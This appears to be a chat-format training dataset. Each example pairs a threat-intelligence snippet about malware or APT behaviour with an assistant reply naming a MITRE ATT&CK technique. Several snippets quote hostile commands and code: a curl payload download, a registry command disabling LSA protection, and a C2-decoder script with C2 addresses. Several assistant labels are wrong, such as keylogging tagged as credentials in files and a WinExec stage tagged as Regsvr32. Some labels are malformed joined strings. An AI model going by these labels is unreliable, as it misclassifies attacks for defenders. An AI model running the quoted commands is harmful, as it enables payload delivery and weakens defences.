                "content": "The Nefilim ransomware creates a new wermgr.exe (the Windows error reporting manager) process and injects its payload to evade process-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can determine the current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To ensure its victim will use IE, it will terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are “malfunctioning.” Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware will only then begin to log keystrokes"
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT can use VBS to download and execute malicious files"
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has harvested data from remote mailboxes including through execution of \"\\\\<hostname>\\c$\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook*.ost\"."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has used Tor to log in to victims' email accounts."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke has the ability to check for the presence of Kaspersky security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask leverages token theft to obtain `lsass.exe` security permissions."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Old Comnie Variant C2 Decoder      12345678910111213141516171819  import requestsimport sysimport redef decode(data):  o = \"\"  for c in data:    if c == \"*\":      o += \".\"    elif c == \"|\":      o += \":\"    elif c == \"+\":      o += \";\"    else:      o += chr(ord(c)-49)  return or = requests.get(sys.argv[1])fd = r.textdata = fd.split(\"++a++\")[1].split(\"++a++\")[0]print(decode(data))       Samples Analyzed eed5945c36ba22a2531dd2d9dd7bc4e17e68544d512be75670919caf287c1b4a 8026442b812469e48ccd11611ab6eacdcb312a8f1aabd563b7f4cb4868315e16 c8951038fd53321661274e5a12532c3fb6f73c75fd75503a1089c56990658fef 48a1ce103e5bf47c47cc5ed40b2dc687ebaf3674d667419287bcb1d0b8d8dda6 e06b797a24fa03a77e0d5f11b0cf0f4f038e0a9ea04d4981d39148969349c79c 7282d0709449abe16457864f58157cac8d007571dc5d463d393d1ae2605d17e0 bf6ee8426245b167a69292e513c0841d818b310dda87daea649221f4e0afd1b3 62b98dde60cb4dd0d0088bde222c5c2c4c92560cccf4753f1ce94e044093ab85 756952652290ad09fe03c8674d44eab2077b091398187c3abcb6f1ddc462c32d 639a49390c6f8597d36ec0bd245efa1b4a078c0506fb515e577a40389b39a614 29ed6eb3c882b018c2bb6bf2f8eb15069dc5510ca119abebf24f09e3c91f10aa 0e8a4e4d5ca501bad25a730fb5de534fa324c6ac23e0a573524693f2d996d105 316a0c6849f183a1a52d0c7648e722c4ca85bd57b0804a147c0c8656b84bbdb9   Identified C2s 121.126.211[.]94:8080 113.196.70[.]11:80,8080 133.130.101[.]47:443 123.51.208[.]157:443;8000;8080   C2 Hosting URLs (DDR URLs) github[.]com/korlee5643 itsmonsee.tumblr[.]com allworldnewsway.blogspot[.]com"
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The WannaCry malware consists of two distinct components, one that provides ransomware functionality and a component used for propagation, which contains functionality to enable SMB exploitation capabilities"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has loaded a plist file using the \"launchctl\" command."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware, such as HAMMERTOSS."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea collects information about the Internet adapter configuration."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor's CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot has been distributed within a malicious Excel attachment via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has uploaded stolen files and data from a victim's machine over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Socksbot can write and execute PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The vulnerability tracked as CVE-2022-41352 is a remote code execution flaw that allows attackers to send an email with a malicious archive attachment that plants a web shell in the ZCS server while, at the same time, bypassing antivirus checks."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell', 'T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire includes various modules for finding files of interest on hosts and network shares."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to decrypt and decompress its payload to enable code execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack uses a custom binary protocol over sockets for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pisloader uses DNS as its C2 protocol."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can sniff plaintext network credentials and use NBNS Spoofing to poison name services."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The source code only considers the following machine types:default:   lpString = \"(Other)\";               break;case 0x02: lpString = \"(Unknown)\";             break;case 0x03: lpString = \"(Desktop)\";             break;case 0x04: lpString = \"(Low Profile Desktop)\"; break;case 0x06: lpString = \"(Mini Tower)\";          break;case 0x07: lpString = \"(Tower)\";               break;case 0x08: lpString = \"(Portable)\";            break;case 0x09: lpString = \"(Laptop)\";              break;case 0x0A: lpString = \"(Notebook)\";            break;case 0x0E: lpString = \"(Sub Notebook)\";        break;The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples.It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the \"Golden Time\" campaign.Brower StealerFor the first time, the ROKRAT sample used during the \"North Korean Human Rights\" contained a browser credentials stealer"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma has used various Windows API calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can use \"netstat\" to enumerate network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Examining historical IP resolutions revealed a common IP between the active nameservers, 107.175.75[.]123"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a tool to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command \"sh -c tail -c +1381...\" to extract bytes at an offset from a specified file. OSX/Shlayer uses the \"curl -fsL \"$url\" >$tmp_path\" command to download malicious payloads into a temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 hijacked FQDNs associated with legitimate websites hosted by hop points."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can access the victim’s webcam and record video."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can persist by setting Registry key values \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic\" and \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can write itself to the Startup folder to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can gather system information such as computer names."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used malware to collect information on network interfaces, including the MAC address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prikormka contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers file and directory information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can obtain the proxy settings of a compromised machine using `InternetQueryOptionA` and its IP address by running `nslookup myip.opendns.comresolver1.opendns.com\\r\\n`."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has exploited CVE-2021-36934 to escalate privileges on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can set its \"beacon\" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This was probably done to avoid them being written to the file system"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including user passwords, NTLM hashes and Kerberos tickets. Mimikatz is a very popular tool and is detected by most antivirus vendors and other security products. Therefore, the attackers used over 10 different customized Mimikatz payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT uses RC4 and XOR to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  malware communicates through the use of events in Google Calendar."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, the DLL drops and launches using a WinExec API call. This stage of the Valak malware uses a malicious JavaScript file with a random name that changes per execution"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to capture webcam video."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If it is executed with the \"help\" parameter, it will install a service to execute itself as a service. This parameter is used by the trojanized installer. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Consequently, the execution won't do anything and the dynamic analysis will be skewed. The second main feature is the service. This service has two features. First, it will launch the winprint32.exe executable (C2 contact module) and then it will wait for an event. This event is the mechanism used by the C2 contact module to alert the service executable to perform the cleaning of all components"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries can direct BACKSPACE to upload files to the C2 Server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb's loader can use API functions to load the FoggyWeb backdoor into the same Application Domain within which the legitimate AD FS managed code is executed."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used Python-based implants to interact with compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Each message contains an attachment that loads the payload – part of Cobalt Strike software – to the computer's operating memory. In order to make this download possible, attackers have tried several different formats of attachments and emails, as their primary task is to bypass mail filters, protection measures, and the company's security policy. 3 Example of a message with an executable attachment (.exe) The archive is password-protected in order to bypass anti-virus scans, security systems, and mail filters. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe enumerates the IP address, network proxy settings, and domain name from a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attachedTemplate.dotm xxx 11/15/18 05:35 11/15/18 05:35 109.248.148[.]42    Table 2 Remote templates downloaded by Dear Joohn delivery documents As seen in Table 1, the delivery documents accessed their respective remote templates from four C2 servers at the following IP addresses:  185.203.118[.]198 145.249.105[.]165 188.241.58[.]170  109.248.148[.]42  These initial C2 IP addresses not only hosted the remote templates that subsequently load the first-stage Zebrocy or Cannon payloads, but the IP addresses also hosted the C2 server for the first-stage payloads themselves"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has disabled LSA protection on compromised hosts using `\"reg\" add HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f`."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP over SSL to communicate commands with the control server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom UDP protocol to communicate."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects local files and information from the victim’s local machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
